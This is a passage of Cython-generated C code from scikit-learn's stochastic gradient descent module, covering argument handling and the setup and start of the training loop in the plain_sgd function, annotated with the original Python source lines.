<<<<<<<<<<<<<<\n *               double intercept_decay=1.0):\n *     \"\"\"Plain SGD for generic loss functions and penalties.\n */\n      __pyx_v_t = ((double)1.0);\n    }\n    if (values[19]) {\n      __pyx_v_intercept_decay = __pyx_PyFloat_AsDouble(values[19]); if (unlikely((__pyx_v_intercept_decay == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 340; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    } else {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":340\n *               double power_t,\n *               double t=1.0,\n *               double intercept_decay=1.0):             # <<<<<<<<<<<<<<\n *     \"\"\"Plain SGD for generic loss functions and penalties.\n * \n */\n      __pyx_v_intercept_decay = ((double)1.0);\n    }\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.plain_sgd\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_weights), __pyx_ptype_5numpy_ndarray, 1, \"weights\", 0))) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_loss), __pyx_ptype_7sklearn_12linear_model_8sgd_fast_LossFunction, 1, \"loss\", 0))) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 329; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_dataset), __pyx_ptype_7sklearn_5utils_11seq_dataset_SequentialDataset, 1, \"dataset\", 0))) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 333; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_plain_sgd(__pyx_self, __pyx_v_weights, __pyx_v_intercept, __pyx_v_loss, __pyx_v_penalty_type, __pyx_v_alpha, __pyx_v_C, __pyx_v_rho, __pyx_v_dataset, __pyx_v_n_iter, __pyx_v_fit_intercept, __pyx_v_verbose, __pyx_v_shuffle, __pyx_v_seed, __pyx_v_weight_pos, __pyx_v_weight_neg, __pyx_v_learning_rate, __pyx_v_eta0, __pyx_v_power_t, __pyx_v_t, __pyx_v_intercept_decay);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":327\n * \n * \n * def plain_sgd(np.ndarray[DOUBLE, ndim=1, mode='c'] weights,             # <<<<<<<<<<<<<<\n *               double intercept,\n *               LossFunction loss,\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_plain_sgd(CYTHON_UNUSED PyObject *__pyx_self, PyArrayObject *__pyx_v_weights, double __pyx_v_intercept, struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_loss, int __pyx_v_penalty_type, double __pyx_v_alpha, double __pyx_v_C, double __pyx_v_rho, struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset *__pyx_v_dataset, int __pyx_v_n_iter, int __pyx_v_fit_intercept, int __pyx_v_verbose, int __pyx_v_shuffle, PyObject *__pyx_v_seed, double __pyx_v_weight_pos, double __pyx_v_weight_neg, int __pyx_v_learning_rate, double __pyx_v_eta0, double __pyx_v_power_t, double __pyx_v_t, double __pyx_v_intercept_decay) {\n  Py_ssize_t __pyx_v_n_samples;\n  Py_ssize_t __pyx_v_n_features;\n  struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *__pyx_v_w = 0;\n  __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *__pyx_v_x_data_ptr;\n  __pyx_t_7sklearn_12linear_model_8sgd_fast_INTEGER *__pyx_v_x_ind_ptr;\n  int __pyx_v_xnnz;\n  double __pyx_v_eta;\n  double __pyx_v_p;\n  double __pyx_v_update;\n  double __pyx_v_sumloss;\n  __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE __pyx_v_y;\n  __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE __pyx_v_sample_weight;\n  double __pyx_v_class_weight;\n  unsigned int __pyx_v_count;\n  unsigned int __pyx_v_epoch;\n  CYTHON_UNUSED unsigned int __pyx_v_i;\n  int __pyx_v_is_hinge;\n  PyArrayObject *__pyx_v_q = 0;\n  __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *__pyx_v_q_data_ptr;\n  double __pyx_v_u;\n  PyObject *__pyx_v_t_start = NULL;\n  __Pyx_LocalBuf_ND __pyx_pybuffernd_q;\n  __Pyx_Buffer __pyx_pybuffer_q;\n  __Pyx_LocalBuf_ND __pyx_pybuffernd_weights;\n  __Pyx_Buffer __pyx_pybuffer_weights;\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  Py_ssize_t __pyx_t_1;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  int __pyx_t_4;\n  PyArrayObject *__pyx_t_5 = NULL;\n  PyObject *__pyx_t_6 = NULL;\n  PyObject *__pyx_t_7 = NULL;\n  PyObject *__pyx_t_8 = NULL;\n  int __pyx_t_9;\n  PyObject *__pyx_t_10 = NULL;\n  PyObject *__pyx_t_11 = NULL;\n  PyObject *__pyx_t_12 = NULL;\n  unsigned int __pyx_t_13;\n  unsigned int __pyx_t_14;\n  PyObject *__pyx_t_15 = NULL;\n  int __pyx_t_16;\n  int __pyx_t_17;\n  int __pyx_t_18;\n  int __pyx_t_19;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"plain_sgd\", 0);\n  __pyx_pybuffer_q.pybuffer.buf = NULL;\n  __pyx_pybuffer_q.refcount = 0;\n  __pyx_pybuffernd_q.data = NULL;\n  __pyx_pybuffernd_q.rcbuffer = &__pyx_pybuffer_q;\n  __pyx_pybuffer_weights.pybuffer.buf = NULL;\n  __pyx_pybuffer_weights.refcount = 0;\n  __pyx_pybuffernd_weights.data = NULL;\n  __pyx_pybuffernd_weights.rcbuffer = &__pyx_pybuffer_weights;\n  {\n    __Pyx_BufFmt_StackElem __pyx_stack[1];\n    if (unlikely(__Pyx_GetBufferAndValidate(&__pyx_pybuffernd_weights.rcbuffer->pybuffer, (PyObject*)__pyx_v_weights, &__Pyx_TypeInfo_nn___pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE, PyBUF_FORMAT| PyBUF_C_CONTIGUOUS, 1, 0, __pyx_stack) == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  }\n  __pyx_pybuffernd_weights.diminfo[0].strides = __pyx_pybuffernd_weights.rcbuffer->pybuffer.strides[0]; __pyx_pybuffernd_weights.diminfo[0].shape = __pyx_pybuffernd_weights.rcbuffer->pybuffer.shape[0];\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":400\n * \n *     # get the data information into easy vars\n *     cdef Py_ssize_t n_samples = dataset.n_samples             # <<<<<<<<<<<<<<\n *     cdef Py_ssize_t n_features = weights.shape[0]\n * \n */\n  __pyx_t_1 = __pyx_v_dataset->n_samples;\n  __pyx_v_n_samples = __pyx_t_1;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":401\n *     # get the data information into easy vars\n *     cdef Py_ssize_t n_samples = dataset.n_samples\n *     cdef Py_ssize_t n_features = weights.shape[0]             # <<<<<<<<<<<<<<\n * \n *     cdef WeightVector w = WeightVector(weights)\n */\n  __pyx_v_n_features = (__pyx_v_weights->dimensions[0]);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":403\n *     cdef Py_ssize_t n_features = weights.shape[0]\n * \n *     cdef WeightVector w = WeightVector(weights)             # <<<<<<<<<<<<<<\n * \n *     cdef DOUBLE * x_data_ptr = NULL\n */\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 403; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __Pyx_INCREF(((PyObject *)__pyx_v_weights));\n  PyTuple_SET_ITEM(__pyx_t_2, 0, ((PyObject *)__pyx_v_weights));\n  __Pyx_GIVEREF(((PyObject *)__pyx_v_weights));\n  __pyx_t_3 = PyObject_Call(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_5utils_13weight_vector_WeightVector)), ((PyObject *)__pyx_t_2), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 403; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_3);\n  __Pyx_DECREF(((PyObject *)__pyx_t_2)); __pyx_t_2 = 0;\n  __pyx_v_w = ((struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *)__pyx_t_3);\n  __pyx_t_3 = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":405\n *     cdef WeightVector w = WeightVector(weights)\n * \n *     cdef DOUBLE * x_data_ptr = NULL             # <<<<<<<<<<<<<<\n *     cdef INTEGER * x_ind_ptr = NULL\n * \n */\n  __pyx_v_x_data_ptr = NULL;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":406\n * \n *     cdef DOUBLE * x_data_ptr = NULL\n *     cdef INTEGER * x_ind_ptr = NULL             # <<<<<<<<<<<<<<\n * \n *     # helper variable\n */\n  __pyx_v_x_ind_ptr = NULL;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":410\n *     # helper variable\n *     cdef int xnnz\n *     cdef double eta = 0.0             # <<<<<<<<<<<<<<\n *     cdef double p = 0.0\n *     cdef double update = 0.0\n */\n  __pyx_v_eta = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":411\n *     cdef int xnnz\n *     cdef double eta = 0.0\n *     cdef double p = 0.0             # <<<<<<<<<<<<<<\n *     cdef double update = 0.0\n *     cdef double sumloss = 0.0\n */\n  __pyx_v_p = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":412\n *     cdef double eta = 0.0\n *     cdef double p = 0.0\n *     cdef double update = 0.0             # <<<<<<<<<<<<<<\n *     cdef double sumloss = 0.0\n *     cdef DOUBLE y = 0.0\n */\n  __pyx_v_update = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":413\n *     cdef double p = 0.0\n *     cdef double update = 0.0\n *     cdef double sumloss = 0.0             # <<<<<<<<<<<<<<\n *     cdef DOUBLE y = 0.0\n *     cdef DOUBLE sample_weight\n */\n  __pyx_v_sumloss = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":414\n *     cdef double update = 0.0\n *     cdef double sumloss = 0.0\n *     cdef DOUBLE y = 0.0             # <<<<<<<<<<<<<<\n *     cdef DOUBLE sample_weight\n *     cdef double class_weight = 1.0\n */\n  __pyx_v_y = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":416\n *     cdef DOUBLE y = 0.0\n *     cdef DOUBLE sample_weight\n *     cdef double class_weight = 1.0             # <<<<<<<<<<<<<<\n *     cdef unsigned int count = 0\n *     cdef unsigned int epoch = 0\n */\n  __pyx_v_class_weight = 1.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":417\n *     cdef DOUBLE sample_weight\n *     cdef double class_weight = 1.0\n *     cdef unsigned int count = 0             # <<<<<<<<<<<<<<\n *     cdef unsigned int epoch = 0\n *     cdef unsigned int i = 0\n */\n  __pyx_v_count = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":418\n *     cdef double class_weight = 1.0\n *     cdef unsigned int count = 0\n *     cdef unsigned int epoch = 0             # <<<<<<<<<<<<<<\n *     cdef unsigned int i = 0\n *     cdef int is_hinge = isinstance(loss, Hinge)\n */\n  __pyx_v_epoch = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":419\n *     cdef unsigned int count = 0\n *     cdef unsigned int epoch = 0\n *     cdef unsigned int i = 0             # <<<<<<<<<<<<<<\n *     cdef int is_hinge = isinstance(loss, Hinge)\n * \n */\n  __pyx_v_i = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":420\n *     cdef unsigned int epoch = 0\n *     cdef unsigned int i = 0\n *     cdef int is_hinge = isinstance(loss, Hinge)             # <<<<<<<<<<<<<<\n * \n *     # q vector is only used for L1 regularization\n */\n  __pyx_t_3 = ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Hinge));\n  __Pyx_INCREF(__pyx_t_3);\n  __pyx_t_4 = __Pyx_TypeCheck(((PyObject *)__pyx_v_loss), __pyx_t_3); \n  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n  __pyx_v_is_hinge = __pyx_t_4;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":423\n * \n *     # q vector is only used for L1 regularization\n *     cdef np.ndarray[DOUBLE, ndim = 1, mode = \"c\"] q = None             # <<<<<<<<<<<<<<\n *     cdef DOUBLE * q_data_ptr = NULL\n *     if penalty_type == L1 or penalty_type == ELASTICNET:\n */\n  __pyx_t_5 = ((PyArrayObject *)Py_None);\n  {\n    __Pyx_BufFmt_StackElem __pyx_stack[1];\n    if (unlikely(__Pyx_GetBufferAndValidate(&__pyx_pybuffernd_q.rcbuffer->pybuffer, (PyObject*)__pyx_t_5, &__Pyx_TypeInfo_nn___pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE, PyBUF_FORMAT| PyBUF_C_CONTIGUOUS, 1, 0, __pyx_stack) == -1)) {\n      __pyx_v_q = ((PyArrayObject *)Py_None); __Pyx_INCREF(Py_None); __pyx_pybuffernd_q.rcbuffer->pybuffer.buf = NULL;\n      {__pyx_filename = __pyx_f[0]; __pyx_lineno = 423; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    } else {__pyx_pybuffernd_q.diminfo[0].strides = __pyx_pybuffernd_q.rcbuffer->pybuffer.strides[0]; __pyx_pybuffernd_q.diminfo[0].shape = __pyx_pybuffernd_q.rcbuffer->pybuffer.shape[0];\n    }\n  }\n  __pyx_t_5 = 0;\n  __Pyx_INCREF(Py_None);\n  __pyx_v_q = ((PyArrayObject *)Py_None);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":424\n *     # q vector is only used for L1 regularization\n *     cdef np.ndarray[DOUBLE, ndim = 1, mode = \"c\"] q = None\n *     cdef DOUBLE * q_data_ptr = NULL             # <<<<<<<<<<<<<<\n *     if penalty_type == L1 or penalty_type == ELASTICNET:\n *         q = np.zeros((n_features,), dtype=np.float64, order=\"c\")\n */\n  __pyx_v_q_data_ptr = NULL;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":425\n *     cdef np.ndarray[DOUBLE, ndim = 1, mode = \"c\"] q = None\n *     cdef DOUBLE * q_data_ptr = NULL\n *     if penalty_type == L1 or penalty_type == ELASTICNET:             # <<<<<<<<<<<<<<\n *         q = np.zeros((n_features,), dtype=np.float64, order=\"c\")\n *         q_data_ptr = <DOUBLE * > q.data\n */\n  switch (__pyx_v_penalty_type) {\n    case 1:\n    case 3:\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":426\n *     cdef DOUBLE * q_data_ptr = NULL\n *     if penalty_type == L1 or penalty_type == ELASTICNET:\n *         q = np.zeros((n_features,), dtype=np.float64, order=\"c\")             # <<<<<<<<<<<<<<\n *         q_data_ptr = <DOUBLE * > q.data\n *     cdef double u = 0.0\n */\n    __pyx_t_3 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __pyx_t_2 = PyObject_GetAttr(__pyx_t_3, __pyx_n_s__zeros); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_2);\n    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n    __pyx_t_3 = PyInt_FromSsize_t(__pyx_v_n_features); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_6);\n    PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3);\n    __Pyx_GIVEREF(__pyx_t_3);\n    __pyx_t_3 = 0;\n    __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    PyTuple_SET_ITEM(__pyx_t_3, 0, ((PyObject *)__pyx_t_6));\n    __Pyx_GIVEREF(((PyObject *)__pyx_t_6));\n    __pyx_t_6 = 0;\n    __pyx_t_6 = PyDict_New(); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(((PyObject *)__pyx_t_6));\n    __pyx_t_7 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_7);\n    __pyx_t_8 = PyObject_GetAttr(__pyx_t_7, __pyx_n_s__float64); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_8);\n    __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;\n    if (PyDict_SetItem(__pyx_t_6, ((PyObject *)__pyx_n_s__dtype), __pyx_t_8) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;\n    if (PyDict_SetItem(__pyx_t_6, ((PyObject *)__pyx_n_s__order), ((PyObject *)__pyx_n_s__c)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __pyx_t_8 = PyObject_Call(__pyx_t_2, ((PyObject *)__pyx_t_3), ((PyObject *)__pyx_t_6)); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_8);\n    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n    __Pyx_DECREF(((PyObject *)__pyx_t_3)); __pyx_t_3 = 0;\n    __Pyx_DECREF(((PyObject *)__pyx_t_6)); __pyx_t_6 = 0;\n    if (!(likely(((__pyx_t_8) == Py_None) || likely(__Pyx_TypeTest(__pyx_t_8, __pyx_ptype_5numpy_ndarray))))) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __pyx_t_5 = ((PyArrayObject *)__pyx_t_8);\n    {\n      __Pyx_BufFmt_StackElem __pyx_stack[1];\n      __Pyx_SafeReleaseBuffer(&__pyx_pybuffernd_q.rcbuffer->pybuffer);\n      __pyx_t_9 = __Pyx_GetBufferAndValidate(&__pyx_pybuffernd_q.rcbuffer->pybuffer, (PyObject*)__pyx_t_5, &__Pyx_TypeInfo_nn___pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE, PyBUF_FORMAT| PyBUF_C_CONTIGUOUS, 1, 0, __pyx_stack);\n      if (unlikely(__pyx_t_9 < 0)) {\n        PyErr_Fetch(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12);\n        if (unlikely(__Pyx_GetBufferAndValidate(&__pyx_pybuffernd_q.rcbuffer->pybuffer, (PyObject*)__pyx_v_q, &__Pyx_TypeInfo_nn___pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE, PyBUF_FORMAT| PyBUF_C_CONTIGUOUS, 1, 0, __pyx_stack) == -1)) {\n          Py_XDECREF(__pyx_t_10); Py_XDECREF(__pyx_t_11); Py_XDECREF(__pyx_t_12);\n          __Pyx_RaiseBufferFallbackError();\n        } else {\n          PyErr_Restore(__pyx_t_10, __pyx_t_11, __pyx_t_12);\n        }\n      }\n      __pyx_pybuffernd_q.diminfo[0].strides = __pyx_pybuffernd_q.rcbuffer->pybuffer.strides[0]; __pyx_pybuffernd_q.diminfo[0].shape = __pyx_pybuffernd_q.rcbuffer->pybuffer.shape[0];\n      if (unlikely(__pyx_t_9 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 426; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    }\n    __pyx_t_5 = 0;\n    __Pyx_DECREF(((PyObject *)__pyx_v_q));\n    __pyx_v_q = ((PyArrayObject *)__pyx_t_8);\n    __pyx_t_8 = 0;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":427\n *     if penalty_type == L1 or penalty_type == ELASTICNET:\n *         q = np.zeros((n_features,), dtype=np.float64, order=\"c\")\n *         q_data_ptr = <DOUBLE * > q.data             # <<<<<<<<<<<<<<\n *     cdef double u = 0.0\n * \n */\n    __pyx_v_q_data_ptr = ((__pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *)__pyx_v_q->data);\n    break;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":428\n *         q = np.zeros((n_features,), dtype=np.float64, order=\"c\")\n *         q_data_ptr = <DOUBLE * > q.data\n *     cdef double u = 0.0             # <<<<<<<<<<<<<<\n * \n *     if penalty_type == L2:\n */\n  __pyx_v_u = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":432\n *     if penalty_type == L2:\n *         rho = 1.0\n *     elif penalty_type == L1:             # <<<<<<<<<<<<<<\n *         rho = 0.0\n * \n */\n  switch (__pyx_v_penalty_type) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":430\n *     cdef double u = 0.0\n * \n *     if penalty_type == L2:             # <<<<<<<<<<<<<<\n *         rho = 1.0\n *     elif penalty_type == L1:\n */\n    case 2:\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":431\n * \n *     if penalty_type == L2:\n *         rho = 1.0             # <<<<<<<<<<<<<<\n *     elif penalty_type == L1:\n *         rho = 0.0\n */\n    __pyx_v_rho = 1.0;\n    break;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":432\n *     if penalty_type == L2:\n *         rho = 1.0\n *     elif penalty_type == L1:             # <<<<<<<<<<<<<<\n *         rho = 0.0\n * \n */\n    case 1:\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":433\n *         rho = 1.0\n *     elif penalty_type == L1:\n *         rho = 0.0             # <<<<<<<<<<<<<<\n * \n *     eta = eta0\n */\n    __pyx_v_rho = 0.0;\n    break;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":435\n *         rho = 0.0\n * \n *     eta = eta0             # <<<<<<<<<<<<<<\n * \n *     t_start = time()\n */\n  __pyx_v_eta = __pyx_v_eta0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":437\n *     eta = eta0\n * \n *     t_start = time()             # <<<<<<<<<<<<<<\n *     for epoch in range(n_iter):\n *         if verbose > 0:\n */\n  __pyx_t_8 = __Pyx_GetName(__pyx_m, __pyx_n_s__time); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 437; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_8);\n  __pyx_t_6 = PyObject_Call(__pyx_t_8, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 437; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_6);\n  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;\n  __pyx_v_t_start = __pyx_t_6;\n  __pyx_t_6 = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":438\n * \n *     t_start = time()\n *     for epoch in range(n_iter):             # <<<<<<<<<<<<<<\n *         if verbose > 0:\n *             print(\"-- Epoch %d\" % (epoch + 1))\n */\n  __pyx_t_9 = __pyx_v_n_iter;\n  for (__pyx_t_13 = 0; __pyx_t_13 < __pyx_t_9; __pyx_t_13+=1) {\n    __pyx_v_epoch = __pyx_t_13;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":439\n *     t_start = time()\n *     for epoch in range(n_iter):\n *         if verbose > 0:             # <<<<<<<<<<<<<<\n *             print(\"-- Epoch %d\" % (epoch + 1))\n *         if shuffle:\n */\n    __pyx_t_4 = (__pyx_v_verbose > 0);\n    if (__pyx_t_4) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":440\n *     for epoch in range(n_iter):\n *         if verbose > 0:\n *             print(\"-- Epoch %d\" % (epoch + 1))             # <<<<<<<<<<<<<<\n *         if shuffle:\n *             dataset.shuffle(seed)\n */\n      __pyx_t_6 = PyInt_FromLong((__pyx_v_epoch + 1)); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 440; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_6);\n      __pyx_t_8 = PyNumber_Remainder(((PyObject *)__pyx_kp_s_1), __pyx_t_6); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 440; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(((PyObject *)__pyx_t_8));\n      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;\n      if (__Pyx_PrintOne(0, ((PyObject *)__pyx_t_8)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 440; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(((PyObject *)__pyx_t_8)); __pyx_t_8 = 0;\n      goto __pyx_L5;\n    }\n    __pyx_L5:;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":441\n *         if verbose > 0:\n *             print(\"-- Epoch %d\" % (epoch + 1))\n *         if shuffle:             # <<<<<<<<<<<<<<\n *             dataset.shuffle(seed)\n *         for i in range(n_samples):\n */\n    if (__pyx_v_shuffle) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":442\n *             print(\"-- Epoch %d\" % (epoch + 1))\n *         if shuffle:\n *             dataset.shuffle(seed)             # <<<<<<<<<<<<<<\n *         for i in range(n_samples):\n *             dataset.next( & x_data_ptr, & x_ind_ptr, & xnnz, & y,\n */\n      ((struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset *)__pyx_v_dataset->__pyx_vtab)->shuffle(__pyx_v_dataset, __pyx_v_seed);\n      goto __pyx_L6;\n    }\n    __pyx_L6:;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":443\n *         if shuffle:\n *             dataset.shuffle(seed)\n *         for i in range(n_samples):             # <<<<<<<<<<<<<<\n *             dataset.next( & x_data_ptr, & x_ind_ptr, & xnnz, & y,\n *                          & sample_weight)\n */\n    __pyx_t_1 = __pyx_v_n_samples;\n    for (__pyx_t_14 = 0; __pyx_t_14 < __pyx_t_1; __pyx_t_14+=1) {\n      __pyx_v_i = __pyx_t_14;\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":445\n *         for i in range(n_samples):\n *             dataset.next( & x_data_ptr, & x_ind_ptr, & xnnz, & y,\n *                          & sample_weight)             # <<<<<<<<<<<<<<\n * \n *             p = w.dot(x_data_ptr, x_ind_ptr, xnnz) + intercept\n */\n      ((struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset *)__pyx_v_dataset->__pyx_vtab)->next(__pyx_v_dataset, (&__pyx_v_x_data_ptr), (&__pyx_v_x_ind_ptr), (&__pyx_v_xnnz), (&__pyx_v_y), (&__pyx_v_sample_weight));\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":447\n *                          & sample_weight)\n * \n *             p = w.dot(x_data_ptr, x_ind_ptr, xnnz) + intercept             # <<<<<<<<<<<<<<\n * \n *             if learning_rate == OPTIMAL:\n */\n      __pyx_v_p = (((struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *)__pyx_v_w->__pyx_vtab)->dot(__pyx_v_w, __pyx_v_x_data_ptr, __pyx_v_x_ind_ptr, __pyx_v_xnnz) + __pyx_v_intercept);\n\n      /* 